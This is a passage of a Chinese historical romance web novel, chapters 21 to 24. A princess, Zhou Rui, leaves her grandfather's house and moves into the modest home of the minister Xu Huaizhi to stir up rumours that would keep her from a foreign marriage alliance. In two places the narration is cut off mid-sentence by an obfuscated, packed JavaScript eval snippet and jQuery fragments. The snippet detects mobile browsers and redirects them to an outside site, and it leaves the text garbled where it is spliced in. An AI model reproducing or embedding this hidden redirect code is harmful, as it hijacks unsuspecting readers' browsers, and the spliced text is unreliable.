马车内,抱着两罐甜酒的少女,歪头打量着徐淮止,“你方才为何要帮我教训小二?”
“职责所在。”徐淮止冷淡的眉眼缓慢的放在她身上。
“我以为,你将我当做自己人,才不想瞧见我被人坑骗。”
过于坦然的回应,让徐淮止眉心微皱,他略微僵硬的别过眼,“殿下想多了。”
周芮略一挑眉,将手上的甜酒放下,趁着徐淮止不注意,猛地靠近他耳畔,轻声道:“今日,多谢大人了。”
热气滚滚,徐淮止下意识抬手想要将人推开,可不等他有所动作,周芮便自觉退后,笑的宛如偷腥的猫儿般,走下马车。
徐淮止脸色漆黑如墨。
果然是狗改不了……
那般恶劣的性子,当真叫人着恼。
余光注意到周芮放在马车上的两罐甜酒,有那么一瞬,徐淮止想将它俩扔出马车外,届时周芮的脸色定当好看。
念头一起便被他压下。
也是他气昏了头,才能有如此稚气的报复心思。
突然,他以为走远的人,从马车外传来声音,“对了,徐淮止,你答应本宫的事情莫要忘了,记得将那罐甜酒送去东宫。”
徐淮止额头上的青筋突突直跳。
可是下一瞬,他又听那带着细细笑意的声音传来,“至于另一罐,你带回家去尝尝,就当本宫的谢礼了。”
另一罐……
徐淮止的目光不由自主的放在先前周芮所坐的地方,那里正摆放着两罐一模一样的甜酒。
是以,先前与小二争执之际,她无论如何都不放手,说什么都要买上两罐的缘由,是为了……
送给他。
22. 第22章
周芮回到府中还没歇息片刻,青雉便闻风而来,欲言又止的看着她,“殿下……”
周芮倒下半盏茶,放在鼻尖闻了一瞬又放下,“青雉,茶凉了。”
“我去给您换热的来。”
青雉将热茶呈上来,又听周芮道:“肚子有些饿。”
“我去端些点心。”
来来回回好几趟,比之下人,更像半个主子的青雉,此时却为了从周芮这里得到一些消息,而任劳任怨。
青雉不开口,周芮便也稳当的坐着。
“殿下。”
周芮抿了口茶,抬眼轻应一声,将青雉急切的神情尽收眼底。
“太子他……如何了?”
在东宫的一幕幕再次浮现在脑海中,周芮眼底划过一丝冷光。
她并未将东宫的一切告诉青雉,以青雉对阿樾的心,便是知晓他如今的处境,除了徒增烦恼以外,并不能有所帮助。
“他一切都好,除了冷清了些,无法离开东宫以外,和以前并无不同。”
尽管周芮已经将太子的情形说的轻之又轻,可青雉眼中还是冒出一丝心疼。
桌上的糕点刚从庖屋中端出来,还冒着一丝热气,玉指搭在盘沿,将其推至青雉跟前,可她只瞧了一眼,并未在意,嘴里始终喃喃着替换之词。
若是当真能替人受苦,世间事倒是简单许多。
周芮见她全无心情,低头慢悠悠的捏起一块糕点放在鼻尖轻嗅,粉糯的团子看着便很有食欲,“其实阿樾被困在东宫也有好处……”
青雉抬眼看来,周芮继续道:“你瞧,以往在宫里是他总是爱和本宫抢这些糕点,眼下他被困住,没人与本宫争了。”
说着,周芮竟忽而得意的笑出声来。
笑声未停,手里的糯团子便被人一把抢过,伴随着咀嚼声响起的,还有青雉愠怒的声音,“殿下为了一个糕点,竟觉着将太子困在东宫是一件好事。”
周芮并未回话,反而偏头问她,“甜吗?”
青雉瞪着她,抬手又拿起一块糕点塞进嘴里,那架势,仿佛要将糕点都吃下,一块不剩的为周樾出气。
周芮支着下巴,笑眯眯的看着青雉将自个儿塞成一只仓鼠,两颊鼓鼓,气怒未消。因吃得太急,甚至呛着了自个儿,咳的豆馅儿横飞,差点糊了周芮满脸。
她好心的推去一盏茶,还未开口,便听见门边传来小厮的声音,“殿下,家主找您去一趟。”
周芮应声而起,目光却仍旧停在不停顺气的青雉身上。
小厮难以言喻的瞧着眼前乱糟糟的一切,青雉虽算不得府中下人,可到底越不过殿下去,如今在殿下跟前如此失礼,他张了张口,最终却将到嘴边的话咽了回去。
毕竟殿下都不曾怪罪,他自不可能在此时多说什么。
小厮恭敬的低着头,余光瞥见周芮从青雉身旁走过时,抬手想要拿走一块糕点,却在指尖触碰到的瞬间被青雉一把夺过。
他猛地抬头看向青雉,只见那人浑然不觉自个儿做了什么,硬生生当着殿下的面将糕点塞进嘴里,全无规矩!
周芮小声嘟囔了一句,“要是噎死了,本宫可不管你。”
青雉动了动唇,却半晌吐不出一个字来,只能眼睁睁看着周芮抬步离开。
她费力的咽下口中之物,灌下好几口清茶后,才平复下来。
方才因得知周樾消息后,涌上心头的苦闷随着落进肚子里的糕点一同消散下去后,她才突然回过神来。
从前在宫里,太子什么时候和殿下抢过糕点了?
那时太子一直都怕殿下吃太少,恨不得将自个儿的东西都分给她,因着此事太子在殿下那儿挨过不少骂。
青雉怔怔的看着桌上的一片狼藉,半晌后,她眼底翻涌着浪潮,愧意自心头闪过。
-
这头,周芮随着小厮去望舒院的路上,嘴角一直含着若有似无的笑意。
就连小厮都不太不明白,“殿下为何那般纵着青雉?”
纵着吗?
以前同样都是东宫的人,在看过那些趋炎附势之人的作为后,似碧色与青雉这般全心为阿樾的人,她便是纵着又如何。
“忠心为主之人,并不多见。”
在小厮琢磨这话中之意时,周芮已经踏进院中,朝着不远处等待已久的赵穹走去。
一波未平一波又起。
周芮本以为这些人怎么着都要消停些时日,直到她接过赵穹手中书信后,方才的好心情尽数湮灭,脸色青白交加,指尖一个用力,信纸的一角便撕裂开来。
“宁王想要你去和亲。”
信上通篇说的都是此事,可眼下上京并未传出苗头,是以这事或许是空穴来风,也或许是有人故意给他们通风报信。
“比起黎王,宁王急需兵马,无论这件事是真是假,都得设防,否则假的,将来也能变成真的。大周就你一位公主,便是宁王不将主意打到你头上,黎王也不会放过这个机会。”
“我晓得。”
赵穹目光看来,“你晓得?”
对于和亲一事,周芮并不是全然不知。
被宁商榷掳走的那日,她便在马车上听见过那些人的说辞,没承想这才几日,宁王的动作便如此之快。
只是——
“这封信是谁送来的?”
她担心有诈。
赵穹看向她的目光十分复杂,半晌后才道:“广义侯府。”
与宁王同枝的广义侯府,莫说赵穹多虑,就连周芮也觉着此事颇为说不通。
忽然之间,她想到了一个人。
若说能在宁王眼皮子底下与他作对的自己人,除了宁熵雀,周芮也想不到旁人。
先前宁王就打着让她和亲的主意,宁熵雀不也在大庭广众之下将她掳走了?
若是这封书信是宁熵雀送来的,倒也不是那般难以理解。
只是她想不明白宁熵雀如此做的缘由,不过眼下倒也不急着去琢磨那人是如何想的。
周芮将先前在马车上听到的消息告诉赵穹后,原本还对此事多疑的赵穹顿时信了八分,只是看向周芮的目光带着一丝她看不懂的神情。
“外祖父……”
赵穹回过神来,还不等他开口,便见周芮深吸一口气,主动道:“我有一个法子,让宁王知难而退。”
她的法子是什么,赵穹只要略一思索便能猜到。
只是令他意外的是,向来在徐淮止一事上不情不愿的人,此时竟会主动提出法子,而她的面上,并无一丝勉强。
“阿芮长大了。”
突如其来的夸赞并未让周芮侧目,她比谁都明白,这不是长大,而是别无选择下的反击。
-
在天子脚下的上京城乃是权力集中之地,除去繁华热闹之外,平素的传闻更是如春日韭菜,一茬又一茬。
前些时日风月楼一事好不容易平息下来,却又紧接着出现了一件大事——
昭和公主住进了通盛客栈。
公主府走水一事众人自然听说过,可堂堂公主,在上京城竟然住进了客栈,这事纵观上下百年,也从未听说过。
平日里生意并不好的通盛客栈,今个儿外边来来回回走过好几拨人,甭管是不是虚假繁荣,都让掌柜的笑的合不拢嘴。
而这一切——
他双眼发亮的看向正坐在窗边喝茶的少女。
“你们说公主这是唱的哪一出?”
往日里他们这些百姓哪有机会面见皇家人,可如今这一段时日可好,不但能见,还几乎天天见。
“没听掌柜的方才说吗?殿下接下来一段时日都要在这儿住下了。估计是这位玩心大起,想要微服私访?
众说纷纭之时,一辆马车忽然在客栈外停下。
在遍地金子的京城,这样普通的马车并不会让人多想,是以从马车上下来那人打听的十分顺利,不多时便急匆匆的回到马车上,将方才听闻一字不落的禀报给了徐淮止。
事到如今,顺玉已然习惯他家大人听见殿下的消息便驻足的行为。
就像昨日从赵家回去的路上,那般颠簸,可殿下留下的甜酒,硬是没有从罐口漫出一滴来。
回府后,他不过是去如个厕,回来时桌上便只剩下孤零零的一罐酒。
而另一罐……
他看见院中唯一的梅树底下,泥土似乎有被翻过的痕迹。
“她与赵家不合?”徐淮止看向顺玉。
顺玉嘴里发苦,殿下与赵家的事情他怎会清楚,“大人,属下觉着眼下局势,赵家与公主应当不会不合。”
便是天大的事,能有命重要?
此时本就飘摇,若是他们还自个儿闹出些事来,不是自寻死路是什么。
他都能想明白的道理,想必大人也能想明白。
顺玉等了许久,没有等到徐淮止开口说离开,反而等到了不知何时走到掌柜跟前的周芮。
不知那二人说了什么,掌柜的脸色顿时为难起来,而反观他面前的周芮,同样神色不自然。
正当他好奇之时,又听他家大人道:“去看看。”
顺玉刚到二人跟前,就听见掌柜的道:“殿下,我们都是做的小本生意,您要的还是最好的上房,若是一文钱不收,不出三日,我这客栈就该拱手让人了。”
公主没有银子,此事说出去都够让人贻笑大方的了。
周芮似乎也知丢脸,“本宫知道,本宫不白住,银子之后会给你的。”
“殿下,我这儿庙小,实在是……”掌柜的叹息一声,拿着算盘的手无意的拨动着木珠子,眼神游离,着实为难。
周遭看戏的百姓众多,寂静无声之下,周芮低头看了看,可这一身素衣,哪来的琳琅环佩,连做抵之物都没有,她再留下去,也不过是徒增笑话。
顺玉抓着袖子,犹豫着要不要用银两替周芮解围,可转念一想,他哪来的银子。
他没有,他家大人更没有,有心无力之下他也只能眼睁睁看着周芮从客栈离开。
周遭的百姓纷纷散开各做各事,可余光却始终留在从客栈中走出的少女身上。
今日过后,市井中有关昭和公主的传言定会再增添两笔,但那些都不是周芮如今最在意的。
少女抿着唇,目光从人群中一晃而过,经过一辆马车旁时,她察觉到帷裳掀开的一瞬间,那道清泠的目光准确的落到她身上。
可她并未回头,眸中的坚毅与屈辱交织汇集,最终落进徐淮止的眼里。
天色尚早,街道嘈杂,从前每每出行都有无数宫人簇拥的周芮,头一回自个儿走在街上,好在素衣并不惹眼,便是有过路人因着容色多瞧两眼,也不会引起太大波澜。
她步子缓慢,并未左顾右盼,仿若漫无目的,不知去向。
只用一根银簪挽起的长发风一吹,便散落几簇至耳畔,她抬手勾到耳后,露出半张未施粉黛的侧脸,眼下氤氲的青紫为她增添了几分憔悴。
一直在周芮身后不远不近跟着的马车上,徐淮止静静聆听着派人去打探来的消息。
周芮之所以出现在客栈,是因着她私自入宫一事被赵家知晓,怪她行事莽撞,不堪重用,而周芮的性子本就要强,莫说责怪,便是与她说话的态度不正,都易将她惹怒。
这一点,徐淮止回想起那天清晨,深有所感。
是以当知晓周芮因此与赵家大闹一场,意气用事之下离开赵家后,并未起疑。
顺玉忍不住嗔道:“殿下的性子当真是不知天高地厚,属下还以为是……”
他看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044148|147122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了徐淮止一眼,见他神色淡淡,似乎并不准备搭理这事儿后,才将欲言又止的话吐出来,“还以为是赵家与殿下又联手算计大人呢,不承想竟是殿下性子使然,眼下这种情形,还耍着骄纵的脾性与赵家闹成这样。”
“依属下看,就得让殿下吃吃苦头。”
“一个金尊玉贵的公主,没有皇家庇护,现在还离了赵家,她眼下落魄的连三岁小孩儿都能欺负到头上,属下敢打赌,不出三日,她就得灰溜溜的回去。”
顺玉一个人说的口干舌燥,半晌也不见他家大人回应,正疑惑呢,狂风忽而吹动帷裳,潮湿的气息涌进马车中,整个上京似乎在瞬间被灰蒙蒙的雾气遮蔽。
要下雨了。
徐淮止的目光不动声色的追随着不远处那道娇小的身影。
周遭行人神色匆匆,摊主从背篓中拿出油布提前支在棚上,走街串巷的人纷纷朝着两旁的店铺中走去。
不过片刻,街上的人便少了大半。
河水涟漪阵阵,倒影出桥边两侧随风摇晃的大红灯笼与迈着碎步小跑的行人,在一切慌乱之中,唯有周芮不疾不徐的往前走着。
满是尘土的地上忽然多了一滴水。
有人抬头望去,密密麻麻的雨线接踵而至,众人脚程加快,连连朝着能遮风挡雨的店铺跑去。
顺玉只瞧了一眼便收回目光,下雨而已,算不得什么稀罕事。
他继续道:“大人,眼下赵家与殿下不合,正是大人摆脱殿下的好机会,没有赵家在一旁煽风点火,殿下一个人翻不出多大的浪来。”
他的言下之意便是他们该回去了,而不是仍旧不疾不徐的跟在周芮身后。
“大人,属……”话音未落,顺玉猛地睁大双眼,看着徐淮止让车夫停下马车,拿起一旁的油纸伞毫不犹豫的走了下去。
“大人!”回应他的,是徐淮止并未停下,始终朝着周芮走去的脚步。
顺着徐淮止的身影看去,被人撞倒在地的少女散乱着发丝,裙角覆在被雨水浸染的泥灰上,如同一只被丢弃的脏猫。
尽管如此,可当少女含泪抬头时,仍旧如月下昙花,惊鸿一现。
顺玉始终不想承认他家大人也会有被美色所惑的一日,可近日来徐淮止的种种言行都在告诉他,殿下对大人而言,是不同的。
感受到头顶罩下阴影的瞬间,周芮眸中的委屈还未消褪,抬眼对上徐淮止不算愉悦的目光时,委屈顿时化为了水雾,“徐淮止……”
伞下无雨,可周芮的脸上却啪嗒啪嗒的落下泪花。
“殿下不回赵家,在这儿委屈什么。”
知道的以为他是好心相劝,不知晓的还以为他是故意来看她笑话。
相处这些时日,周芮自是明白徐淮止这张嘴的厉害,也知晓他向来嘴硬心软。
她抽搭的拭去颊上泪珠,倔强道:“本宫只是随处走走。”
若当真是随处走,怎会一副狼狈模样,连她身边的青雉都不曾随行在侧。
伞沿向她倾斜的那刻,徐淮止波澜不惊道:“那便不打扰殿下雅兴了。”
话虽如此,可他脚步却未曾挪动半分。
挂在眼尾的泪珠瞬息垂落,周芮氤着恼火的眸子直直的对上徐淮止。
盛着火光的双眼让本就艳丽的容色更添几分鲜活。
“徐淮止,你莫不是当真来看我笑话的。”
他面色从容,举止坦然,眉头轻动的那一瞬,仿佛在告诉她,她所料不差。
周芮气恼的提着裙角起身,堪堪没过男人肩头的身量让她显得有些娇小,毫无气势,只有抬起下巴,才能勉强彰显出她的傲然,“现在看完了,你还不走。”
若不是她几乎将委屈二字刻在了额头上,徐淮止当真要以为她在赶人。
那副藏不住心思的眸子,分明粘稠又满是期待,恨不能让他留下的样子比她口不对心的话更叫人信服。
握住伞柄的食指轻敲两下,徐淮止面不改色的道:“与其和我逞能,不若改改你的性子,想想如今处境,隐忍按捺,明哲保身,总好过处处与人为敌。”
他在教她,亦是劝解。
有一瞬仿佛回到两年前,在周芮眼中,徐淮止最初的模样便是这般,古板严肃,一个不小心便要被他数落教诲。
“徐相说的有理,可我不明白隐忍为何物。”略显骄纵狂妄的话听在人耳朵里并不令人舒适。
对牛弹琴。
明知结果,他方才竟还要多费唇舌。
徐淮止脸色稍冷,转身欲走时,却又听周芮道:“你教教我。”
他身形一顿,察觉到衣袖似乎被人攥住一角,以往谁都不放在眼里的昭和公主,此刻竟细着音儿,仿若撒娇般低诉,“徐淮止,你教教我吧。”
雨势忽而大了起来,飘进伞下的雨水打湿了二人肩袖。
与此同时,不远处的马车上传来顺玉的声音,“大人,雨下大了,宅院里晒的东西还没收呢。”
方才还从容淡定的徐淮止脸色猛地一变,连忙抬步朝着马车走去。
顺玉眼睁睁看着他家大人上了马车,而跟在大人身后的殿下,也面色坦然的走上马车。
“赶紧回去。”
而他家大人似乎并未注意到身后跟了个人。
亦或是知晓,却并未斥责。
“大人,殿下她……”
徐淮止看了一眼周芮,并未多言。
顺玉这下还有什么不明白的。
大人紧着家中之物不错,可对殿下跟着他回家一事,也仍旧睁一只眼闭一只眼,装作视若无睹。
他不信大人不明白,离了赵家,孑然一身的殿下,比之先前更是一块烫手山芋。
他此时的默举在顺玉看来,就是被迷了心窍,明晃晃的纵容。
23. 第23章
马车急匆匆回到宅邸时,雨势已大,淅淅沥沥的声音扰人耳朵。
周芮从未见过徐淮止如此难看的脸色,哪怕是前些时日与他水火不融时,他都尚且能存有一丝理智,可是眼下,马车还未停稳,他便已然掀开帷裳失态的走了下去,连油纸伞都忘记拿,步履急促的推开大门。
原本能登堂入室便是周芮的目的,眼下目的已成,她的心自然而然被徐淮止异样的在意而引走。
到底院子里放着什么东西让他这般在意?
在好奇心的驱使下,周芮提着裙角,很快跟在徐淮止的身后入了宅院。
可到底还是低估了徐淮止的在意,慢上一步。是以周芮只能眼睁睁看着徐淮止怀里抱着两幅像画一样的东西朝着西边的屋子走去。那满眼的心疼急迫来不及遮掩,尽数呈于面上。
“什么东西竟然能令你家大人这般在意。”
行至周芮身侧的顺玉目光随着徐淮止远去,“殿下若想知晓,可以自行去问大人。”
言下之意便是他无可奉告。
若只是寻常书画,顺玉大可不必如此守口如瓶,所以那东西定藏着什么秘密,才让顺玉一个字都不愿多说。
雨水顺着房檐滴下,将凹凸不平的地面填成一个个水洼,这处不似赵家有回廊,小小的院子中,除了檐下并无避雨的地方。
周芮看着周遭的朴素,头一回有心思打量起来。
“殿下准备何时回赵家?”
周芮抬手,雨水落在掌心,不悦道:“你在赶本宫走?”
“属下不敢。”话虽如此,可顺玉的语气里却没有丝毫畏惧,“只是属下觉着,以殿下的尊贵之身,留在此处委屈殿下了。”
周芮惊奇的看向他,“是你的意思,还是徐淮止的意思?”
“是属下的意思。”
周芮收回目光,褐色的瞳仁望着雨雾朦胧的天,并未将他的话放在心上,“你的意思,与本宫何干。”
只要徐淮止不赶她走,谁的话她都不会放在心上。
顺玉无力反驳,只能眼睁睁看着周芮眉眼含笑,兴致盎然的挑选着暂住的房屋。
他看了一眼徐淮止消失的拐角,暗自焦急,只能出言提醒,“殿下,大人家中只有两间卧房,并无多余的厢房给殿下居住。”
周芮脚步一顿,“另一间是谁的?”
“属下的。”
“带我去瞧瞧。”
顺玉眼下只能企盼徐淮止没有要收留周芮的意思,早早从屋内出来,将周芮赶出宅院。亦或是周芮自个儿吃不了苦头,主动离开。
可无论是哪一种,都没有在他意料之中。
周芮百般嫌弃的打量他平素住的屋子,摆设齐全却无一处美观,莫说屏风瓷器,就连床边的帘帐都是用的最粗糙的白布,床板上更是只薄薄的铺了一层被褥,连京中最普通的客栈都不如。
她甚至觉着,若是在这样的床上躺一晚,翌日起身,定会全身酸痛,无法走动吧。
相比之下,徐淮止的床铺倒是要好上许多。
“殿下瞧见了,我家大人身家清寡,什么绫罗绸缎、熏香玉器都没有,殿下何苦委屈自个儿。”
周芮煞有介事的颔首,“照你的意思,你与你家大人倒是很能吃苦了。”
旁的不说,就以徐淮止的出身而言,朝中有几人似他这般出身寒苦的,他少时过的日子,周芮恐怕连想都想不到。
“既然如此,我倒是有一个法子。”周芮拂去指尖尘灰,“你与徐淮止同住此处。”
顺玉下意识开口,“那殿下呢?”
周芮偏头含笑,“我去住徐淮止的屋子,你觉着如何?”
恰巧行至门外的徐淮止脚步一顿,抬眼看向还在与顺玉讨价还价,毫无公主威仪的周芮,“你看啊,我住在外男屋中,传出去于你于我名声都不好。”
顺玉辩解,“大人于殿下而言也是外男。”
“那又怎能一样。”周芮理所当然道。
她要的便是趁此传出一些流言蜚语,利用宁王对徐淮止的忌惮,让他不敢轻易出手。
是以传言是谁,结果大不相同。
此情此景落在徐淮止眼中并不意外,周芮慕艾他一事,他早已心知肚明,是以她想方设法的靠近在他看来,拙劣又令人烦忧。
“哪里不一样?”顺玉问。
“顺玉。”
顺玉脸上的不满还未褪去,便见徐淮止从屋外走来,连忙道:“大人,殿下她方才……”
“你可以暂且住在此处。”
顺玉后边的话被噎了回去,不敢置信的看向徐淮止。
“不过……”徐淮止对上周芮隐隐兴奋的目光,“以后莫要再说些令人误会的话,我与殿下之间……”
脑海中忽然浮现出此前种种,清清白白四个字犹在嘴边,却如何都发不出来。
徐淮止只能道:“我与殿下之间,只有君臣之仪,再无其他。”
他过于严肃的面庞落在周芮眼中颇有一番对天起誓的滋味,他从始至终都不想与她有所瓜葛,此事她一直都心知肚明。
可要怎么办。
她要想不和亲,就得让宁王忌惮,而与和亲相关又能让宁王相信的办法,就是让众人以为徐淮止心有所属,所属之人,只能是她。
拂去心中众多思绪,周芮笑意盈盈,“好啊,我都听徐相的。”
过于乖巧的姑娘像是收敛尖刺,对信任之人露出肚皮的刺猬,令人心软的一塌糊涂。
徐淮止别开脸,嘱咐道:“顺玉,你替殿下收拾一下屋子。”
抬步正欲离开,却又被周芮唤住,“等等。”
徐淮止回身,见周芮指着那张朴实无华的床榻,娇声道:“我睡不惯这样的,能不能换成锦缎做的被褥,然后下边儿再多铺上几层褥子,不然太硬,身子会疼。帘帐外最好也多挂一层轻纱,瞧着心情会舒适些。”
“要不要再买个紫金炉子回来给殿下熏一熏味道,再将桌椅板凳换成梨花木的,茶盏换成青瓷白釉的,或者在门口布上一扇屏风?”
徐淮止的每一个字都落到周芮的心坎儿上,她眼含期盼,眸中布满星星点点的亮光,“当真?”
一声冷笑从徐淮止喉咙发出。
周芮嘴角的笑容霎那间消失,“旁的我都可以不要,可是被褥……”
“殿下最好明白,这是收留,不是伺候。”徐淮止道:“若想过奢华无度的日子,殿下大可以回赵家。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061611|147122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
周芮眸底染上一层薄怒,在怒意蓬勃之时,她连忙垂头,长睫掩去神色,不叫人察觉。
徐淮止捏着她的命脉,她若是此时翻脸回赵家,先前在客栈那一出出戏不就全都白演了。
一个小小的被褥罢了,没有便没有,因此得罪徐淮止,不值当。
可想归想,周芮心底却仍旧包着一团撒不出去的火。
她想着,徐淮止的把柄最好没有落到她手里的一天,否则她定叫他知晓,人在屋檐下不得不低头是什么滋味!
当夜,周芮强忍着不适躺在那张硬挺的床板上,整夜辗转反侧睡不安稳,好几次都因着身子又疼又麻而惊醒。
翌日一早,她比徐淮止院子里养的鸡醒的都早。
周芮染上油灯,坐在桌前支着下巴思索接下来的行动,可一夜不曾好眠,令她频频阖眼,不断打着哈欠。
寅时起身,欲要去宫中的徐淮止路过周芮所在的屋子,脚步一顿。透过不曾关严实的窗户缝隙,便能看见坐在桌前,脑袋一点一点,正打着瞌睡的周芮。
她只着了一件里衣,因着困倦,垂头时正好露出脖颈后一条长长的红印。
那印记一瞧便知晓是石枕拓印所至。
不单如此,打瞌睡的少女许是身子不爽利,总是蹙眉动来动去,不是捏手臂就是垂颈,瞧着像是刚刚受过什么刑罚。
“大人?”顺玉拿着披风行至徐淮止身侧。
徐淮止回过神来,迈步朝着门外走去。在上马车之前,他接过顺玉的披风,忽然问:“家中还剩多少银两?”
顺玉不解,却老实道:“家中还有十两现银,不过大人这些年的俸禄积攒下来,存在钱庄的还有两千多两白银。”
随着帷裳落下的,还有徐淮止淡然的嘱咐,“稍后去钱庄取些银两出来。”
“取银两做什么?是大人需要购置笔墨纸砚了吗?”
“去街上瞧瞧有没有好点的褥子,多买一些回来。”
突然要买褥子是为了什么,顺玉哪会不知,可他就是想不明白,左右都是要花银子的事情,大人宁愿让他去买褥子,也不愿给周芮在客栈开一间厢房。
“大人为官七年都不曾想着为自己增添一分一毫,可殿下不过来了一日,就让大人有了添置东西的思绪,大人待殿下,是不是过于不同了?”
马车中迟迟不曾传来声响,顺玉颓然的垂头,浑身无力的握住缰绳。
正要启程时,才听见沉默许久的徐淮止忽然道:“她到底还是大周金尊玉贵的公主。”
分明是解释的话语,可此刻听在顺玉耳中,更多的却是欲盖弥彰。
“驾!”
大人行事自有大人的道理,他只希望有朝一日大人不会后悔今日之所为,不会后悔明知是狼,还任由其靠近的举措。
徐淮止知晓顺玉心中所想,清隽的眉眼在仍旧昏暗的天光中更显清泠。
徐淮止眸光一闪,收回望向窗外的目光。
从始至终他都知晓自己在做什么,哪怕偶尔因周芮而心绪动荡,喜怒无常,他也不曾丧失自小便引以为傲的理智。
不过就是几张褥子罢了,远远不像顺玉所想那般,被周芮迷失心智,待她过于不同。
24. 第24章
周芮揉着脖颈打开房门时,已是晌午。
瞧着屋外光秃秃的梅树,没有一星半点摆置的院落,这才突然清醒过来,眼下她不在公主府也不在赵家,而是在徐淮止贫瘠破败的宅院中。
先前她想过此举的弊端,甚至想过忍着性子,无论徐淮止言行举止如何,她都会赖在此地,直至宫宴那日。
但她万万不曾想过,她没在徐淮止那儿吃到苦头,反而……
周芮回头,看向那硬如棺材板的始作俑者,腰背又开始隐隐作痛。
眼下家中无人,她拖着疲乏的身子走去庖屋,已经咕咕直叫的小腹在瞧见留下的馒头稀粥后停止了叫声。
早已凉透的白面馒头硬得硌牙,稀粥更是没有半点味道。
周芮勉强下咽后,忽然好奇,徐淮止平日里过的都是些什么日子。
堂堂宰相,住宅破败,连早膳都这般节俭。
日后谁若是嫁他为妻,可有的苦吃。
周芮艰难咽下最后一口馒头,如木碴割喉让她憋红了脸,连忙饮下碗里的稀粥,这才将气顺下来。
“徐淮止还是人吗?!”
周芮咬牙起身,脚上却又一麻。
庖屋中连把椅子都没有,她方才坐在那矮凳上许久,猛地一起身,抻到了腿,这下不光是腰背,就连腿也不能幸免。
她一瘸一拐的扶着墙从庖屋中走出,直直的朝着昨日徐淮止存放画卷的地方走去。
身子受苦算不得什么,她至少有法子改善,可若是被迫和亲,届时便是连神仙都救不了她。
徐淮止平素看书办公的屋子与卧房只有一墙之隔,屋子不大,看门的瞬间便能将所有摆置尽收眼底。
干净整洁的房间内只有一方书柜贴在东墙,仅靠着窗子的矮桌上堆积着许多书册,笔墨纸砚摆放规矩,一板一眼。
周芮静静打量了半晌,最终将目光落到挂在墙上的两幅画像上。
她缓慢行至画像前,只见左边那副画颇为怪异,只有一朵看似像梅花却又形似桃花的模糊轮廓,莫说名人雅士,就是普通学子,亦不会做出这般毫无美感,又不伦不类的丹青来。
她皱眉又将目光挪向右边的这幅画。比起那朵分辨不出花样的东西来,这幅画则显得再正常不过。
画上应当是一个五六岁的小姑娘,穿着红白相间的袄子,两股辫子被狂风吹的凌乱,模糊不清的五官隐隐能看出她脸上挂着一抹灿如烈阳的笑,与她腰间挂着的虎头娃娃相得映彰。
“嘶……”周芮眯着眼,仔细打量着那小姑娘的身形。
虽瞧不清五官,可身形与笑容过于眼熟,以至于令她有些不敢置信。
若是她没眼花,那画上的姑娘应当没有人比她更熟悉。
只是,徐淮止为何将她的画像挂在此处?还是只有五六岁时的她。
周芮少时跟着父皇微服私访时遭过一次意外,小时候的记忆早已模糊不清,是以她并不记得自个儿见过徐淮止,可若她当真与徐淮止素不相识,她的画像又为何会出现在这间屋子里。
还有昨日……
徐淮止那般紧张这两幅画像,便能说明要么是画的本身对他的意义非凡,要么是这画中之人……
脑中纷乱之余,周芮忽然记起东宫里放着一只虎头娃娃,与画上这只一般无二。
只要弄清楚徐淮止这般紧张这两幅画的缘由,应当能助她良多。
这般想着,周芮不动声色的退出屋子,又小心翼翼的将门阖上,这才走出宅院,朝着置办杂物的店铺走去。
她犹记着从赵家离开前,在舅婶那里取来的经。
“你别看男子满嘴都是什么家国大事,权利地位,可他们心里啊,总是向往着有一个温馨的家,甭管这家是好是坏,只要面上瞧着热闹温情,他们嘴上再是不在意,可心底到底是暖和的。”
她那时琢磨着这番话,回想起从前在父皇身边看见的种种。
她母后不争不抢,一心青灯古佛,可后宫的其他女人却恨不得天天黏在她父皇身边,想方设法的争宠。
那些人用的最多的手段便是舅婶说的这般,将自个儿当做寻常人家的妻子,把宫殿布置得亮丽堂皇,甚至还买来许多民间的小玩意儿让父皇高兴。
那时她不明白这些人在做什么,如今想来,应当就是让父皇把她们所在的地方当做家,而那个‘家’里,只有缺她不可,才能被父皇牢牢记在心里。
是以周芮开天辟地头一回做起了内务府的活儿,将徐淮止的宅院比作她先前的公主府,那些可有可无,除了美观有派头,并无作用的装饰物被她大手一挥,全数搬进了徐淮止家中。
就在这时周芮指挥着人布置卧房时,门外狭窄的巷中走进许多穿着麻布衣裳的伙计,他们身量相差无几,怀中抱着的被褥也相差无几。
由绫罗绸缎制成的锦被,面料光滑,内陷充盈,像是厨房刚做出来的发面馒头,绵软暖和。
“都小心着些,别磕着碰着了。”站在屋檐下的顺玉,长臂将窄门一侧用力挡在身后,好让伙计们能轻松进入。
其中一人笑道:“大人客气了,小的们皮糙肉厚,不碍事的。”
顺玉蹙眉看向他怀中之物,“我说的是被褥,若是磕着碰着勾了丝,我拿你们是问。”
天知晓置办这些褥子花了多少银子,
那人讪笑道:“晓得了晓得了,大人放心。”
随即对身后众人使了个眼色,小心翼翼的迈入门槛,朝着屋内走去。
“大人,小的们把东西放哪间屋子啊?”
前头传来伙计的询问,顺玉等徐淮止进门后,才不耐的将门栓插上,这才大步流星的走上前指着东西两边的厢房,“这几张料子好些的送去那边那个,剩下的跟我来。”
吩咐完伙计后,顺玉回身,这才察觉到徐淮止正蹙眉看着院中早已凋零的梅树。
他顺着徐淮止的目光看去,双眸刹那睁大了些许。
原本光秃秃的枝丫上不知何时
